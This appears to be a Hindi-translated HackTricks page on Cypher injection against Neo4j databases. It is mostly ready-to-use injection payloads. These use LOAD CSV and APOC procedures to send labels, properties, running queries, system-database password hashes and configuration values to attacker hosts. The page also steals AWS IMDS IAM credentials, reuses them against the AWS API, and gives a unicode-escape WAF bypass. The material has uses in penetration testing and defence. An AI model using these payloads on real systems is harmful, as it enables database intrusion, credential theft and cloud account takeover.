hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

27 KiB
Raw Blame History

साइफर इंजेक्शन (neo4j)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

सामान्य साइफर इंजेक्शन

MATCH और WHERE स्टेटमेंट्स सामान्य परिदृश्य हैं।

जब हमें इंजेक्शन मिल जाता है, तो इसे शोधने का तरीका क्वेरी के भीतर स्थान पर निर्भर करता है। नीचे विभिन्न इंजेक्शन स्थानों और शोषण उदाहरणों का एक तालिका है:

इंजेक्टेबल क्वेरी इंजेक्शन
MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values]

'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

यूनियन स्टेटमेंट का ध्यान दें:

  1. यूनियन की आवश्यकता इसलिए होती है क्योंकि यदि MATCH स्टेटमेंट कुछ नहीं लौटाता है, तो क्वेरी का बाकी हिस्सा नहीं चलेगा। इसलिए, हम वहां कुछ भी दुष्प्रभावी करने की कोशिश करेंगे, वह सिर्फ नहीं चलेगा।
  2. हम यूनियन से पहले "RETURN 1" जोड़ते हैं ताकि दोनों हिस्सों में वही स्तंभ लौटें, जो क्वेरी को चलाने के लिए आवश्यक है।

तो, "WITH" स्टेटमेंट के साथ क्या है?

WITH का उपयोग करके, हम सभी मौजूदा चरों को छोड़ सकते हैं। यह महत्वपूर्ण है जब हमें पता नहीं होता है कि क्वेरी क्या है (इसके बारे में बाद में और अधिक)। यदि हमारा पेलोड भागता है और पहले से मौजूद चर को सेट करने की कोशिश करता है, तो क्वेरी चलाने में विफल हो जाएगी।

स्वाभाविक रूप से, यदि हमें क्वेरी और डेटाबेस पता होता है, तो इन सभी तकनीकों की आवश्यकता नहीं होती है। हम वापस आए डेटा को प्रबंधित करने के लिए प्रक्रिया का दुरुपयोग करने की बजाय सर्वर का दुरुपयोग कर सकते हैं।

HTTP निर्यातन

हम निम्नलिखित विधि का उपयोग करके जानकारी को हमलावर नियंत्रित डोमेन में निर्यातित कर सकते हैं:

LOAD CSV FROM 'https://attacker.com/'

उदाहरण के लिए

// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o

// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

APOC

एक हमलावर को सबसे पहले यह जांचना चाहिए कि APOC स्थापित है या नहीं। APOC (awesome procedures on Cypher) एक बहुत ही लोकप्रिय, आधिकारिक रूप से समर्थित Neo4j प्लगइन है जो इसकी क्षमताओं को बड़ाता है। APOC डेवलपर्स अपने वातावरण में उपयोग कर सकते हैं बहुत सारे अतिरिक्त फंक्शन और प्रक्रियाएं जो जोड़ता है। हमलावर उन विभिन्न प्रक्रियाओं और फंक्शन का उपयोग करके अधिक उन्नत हमले कर सकते हैं।

डेटा को प्रोसेस करने और HTTP अनुरोध भेजने के लिए प्रक्रियाएं

  • apoc.convert.toJson — नोड, मैप्स और अधिक को JSON में परिवर्तित करता है
  • apoc.text.base64Encode — एक स्ट्रिंग लेता है और इसे base64 में एनकोड करता है

हेडर्स को सेट करना और GET के अलावा अन्य मेथड्स भेजना संभव है। उदाहरण:

{% code overflow="wrap" %}

CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value

CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list

{% endcode %}

प्रश्नों को मूल्यांकन करने की प्रक्रिया

  • apoc.cypher.runFirstColumnMany — पहले स्तंभ के मानों को एक सूची के रूप में लौटाने वाला एक फ़ंक्शन
  • apoc.cypher.runFirstColumnSingle — पहले स्तंभ के पहले मान को लौटाने वाला एक फ़ंक्शन
  • apoc.cypher.run — एक प्रक्रिया जो एक प्रश्न चलाती है और परिणामों को एक मानचित्र के रूप में लौटाती है
  • apoc.cypher.runMany — एक प्रक्रिया जो एक प्रश्न या एक सेमीकोलन द्वारा अलग किए गए कई प्रश्नों को चलाती है और परिणामों को एक मानचित्र के रूप में लौटाती है। प्रश्न एक अलग लेनदेन में चलते हैं।

जानकारी निकालना

सर्वर संस्करण

सर्वर संस्करण प्राप्त करने का एक तरीका है dbms.components() प्रक्रिया का उपयोग करना

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

चल रहा क्वेरी प्राप्त करें

सबसे आसान तरीका है dmbs.listQueries() प्रक्रिया का उपयोग करना

{% code overflow="wrap" %}

' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //

{% endcode %}

Neo4j 5 में dbms.listQueries हटा दिया गया था। इसके बजाय, हम "SHOW TRANSACTIONS" का उपयोग कर सकते हैं। यहां दो मुख्य सीमाएं हैं: SHOW क्वेरीज़ को इंजेक्ट नहीं किया जा सकता है, और listQueries की तरह हम केवल वर्तमान में चल रही क्वेरी देख सकते हैं और उन सभी को नहीं।

यदि APOC कोर स्थापित है, तो हम इसका उपयोग SHOW TRANSACTIONS को चलाने के लिए कर सकते हैं। यदि हम एक ही लेनदेन में चलाते हैं, तो केवल SHOW TRANSACTIONS ही लौटाया जाएगा इसके बजाय हमें उस क्वेरी को देखने की कोशिश कर रहे हैं। हम apoc.cypher.runMany का उपयोग SHOW TRANSACTIONS को निष्पादित करने के लिए कर सकते हैं, क्योंकि अन्य apoc.cypher फ़ंक्शन और प्रोसीजर के विपरीत यह एक अलग लेनदेन में चलता है।

{% code overflow="wrap" %}

' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//

लेबल प्राप्त करें

db.labels नामक इनबिल्ट मेथड का उपयोग करके, सभी मौजूदा लेबलों की सूची बनाई जा सकती है।

{% code overflow="wrap" %}

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0

{% endcode %}

कुंजी की गुणधर्मों को प्राप्त करें

बिल्ट-इन फ़ंक्शन keys का उपयोग करके गुणधर्मों की कुंजियों की सूची बनाई जा सकती है (यह काम नहीं करेगा अगर कोई फ़ील्ड सूची या मानचित्र है।).

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

{% endcode %}

यदि APOC उपलब्ध है, तो apoc.convert.toJson का उपयोग करके इसे करने का एक बेहतर तरीका है।

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //

फंक्शन और प्रोसीजर प्राप्त करें

dbms.functions() और dbms.procedures() का उपयोग करके आप सभी फंक्शन और प्रोसीजर की सूची बना सकते हैं।

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% endcode %}

ये प्रक्रियाएँ Neo4j 5 में हटा दी गई हैं। इसके बजाय, हम SHOW PROCEDURES और SHOW FUNCTIONS का उपयोग कर सकते हैं। SHOW क्वेरी में संक्रमित नहीं किया जा सकता है।

यदि APOC कोर स्थापित है, तो हम किसी भी प्रक्रिया या फ़ंक्शन का उपयोग कर सकते हैं जो क्वेरी को चलाते हैं और फ़ंक्शन और प्रक्रियाओं की सूची बनाने के लिए।

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //

सिस्टम डेटाबेस प्राप्त करें

सिस्टम डेटाबेस एक विशेष Neo4j डेटाबेस है जिसे सामान्यतः क्वेरी करने के लिए उपलब्ध नहीं किया जाता है। इसमें नोड के रूप में संग्रहीत रोचक डेटा होता है:

  • डेटाबेस
  • भूमिकाएँ
  • उपयोगकर्ता (पासवर्ड के हैश सहित!)

APOC का उपयोग करके, नोड को पुनः प्राप्त करना संभव है, हैश सहित। केवल व्यवस्थापक ही इसे कर सकते हैं, लेकिन Neo4j के मुफ्त संस्करण में, केवल एक व्यवस्थापक उपयोगकर्ता होता है और कोई अन्य उपयोगकर्ता नहीं होता, इसलिए आपको व्यवस्थापक के रूप में चलाने के लिए आम बात नहीं है।

डेटा प्राप्त करने के लिए प्रक्रिया apoc.systemdb.graph() का उपयोग करें।

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //

{% endcode %}

Neo4j एपाचे शिरो द्वारा सिंपलहैश का उपयोग करता है ताकि हैश उत्पन्न कर सके।

परिणाम को अल्पविराम से अलग किए गए मानों के स्ट्रिंग के रूप में संग्रहीत किया जाता है:

  • हैशिंग एल्गोरिदम
  • हैश
  • साल्ट
  • इटरेशन्स

उदाहरण के लिए:

SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024

वातावरण चरों को प्राप्त करें

APOC का उपयोग करके, हम apoc.config.map() या apoc.config.list() प्रक्रिया का उपयोग करके वातावरण चर को प्राप्त कर सकते हैं।

ये प्रक्रियाएं केवल तभी उपयोग की जा सकती हैं जब वे conf फ़ाइल (dbms.security.procedures.unrestricted) में असीमित प्रक्रियाओं की सूची में शामिल हों। यह एक सामान्य बात है और इस सेटिंग का नाम गूगल करने पर कई साइट और गाइड मिलते हैं जो सलाह देते हैं कि "apoc.*" मान को जोड़ा जाए, जो सभी APOC प्रक्रियाओं को अनुमति देता है।

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //

नोट: Neo4j5 में प्रक्रियाएं APOC एक्सटेंडेड में स्थानांतरित की गई थी।

AWS क्लाउड मेटाडेटा एंडपॉइंट

IMDSv1

{% code overflow="wrap" %}

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l

WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _

{% endcode %}

IMDSv2

हमें हेडर्स को निर्दिष्ट करना होगा और हमें GET के अलावा अन्य तरीकों का उपयोग करना होगा।

LOAD CSV इन दोनों चीजों को नहीं कर सकता है, लेकिन हम apoc.load.csvParams का उपयोग करके टोकन और भूमिका प्राप्त कर सकते हैं, और फिर सामग्री को प्राप्त करने के लिए हम apoc.load.jsonParams का उपयोग कर सकते हैं। हम csvParams का उपयोग क्यों करते हैं, इसका कारण यह है कि प्रतिक्रिया एक वैध JSON नहीं है।

{% code overflow="wrap" %}

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value

{% endcode %}

AWS API के साथ सीधे संपर्क करें

{% code overflow="wrap" %}

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list

{% endcode %}

  • $डेटा को %Y%m%dT%H%M%SZ के रूप में फॉर्मेट किया जाता है
  • $टोकन मेटाडेटा सर्वर से प्राप्त किया गया टोकन है
  • $साइन्ड_टोकन को इसके अनुसार गणना की जाती है https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html

WAF बाईपास

यूनिकोड इंजेक्शन

Neo4j >= v4.2.0 में, यह अक्सर संभव होता है कि “\uXXXX” का उपयोग करके यूनिकोड इंजेक्शन किया जाए। उदाहरण के लिए, इस तरीके का उपयोग कर सकते हैं अगर सर्वर वाक्यांशों जैसे: , “, ` आदि को हटाने का प्रयास करता है।

यह काम नहीं कर सकता है अगर यूनिकोड भाग्य सूचकांक के बाद एक अक्षर होता है। इसके बाद एक स्थान जोड़ना सुरक्षित होता है या दूसरे यूनिकोड नोटेशन का उपयोग करना सुरक्षित होता है।

उदाहरण के लिए, अगर सर्वर एकल उद्धरणों को हटाता है, और क्वेरी निम्नलिखित दिखती है:

MATCH (a: {name: '$INPUT'}) RETURN a

यह संभव है कि इंजेक्शन किया जा सके:

{% code overflow="wrap" %}

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //

{% endcode %}

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥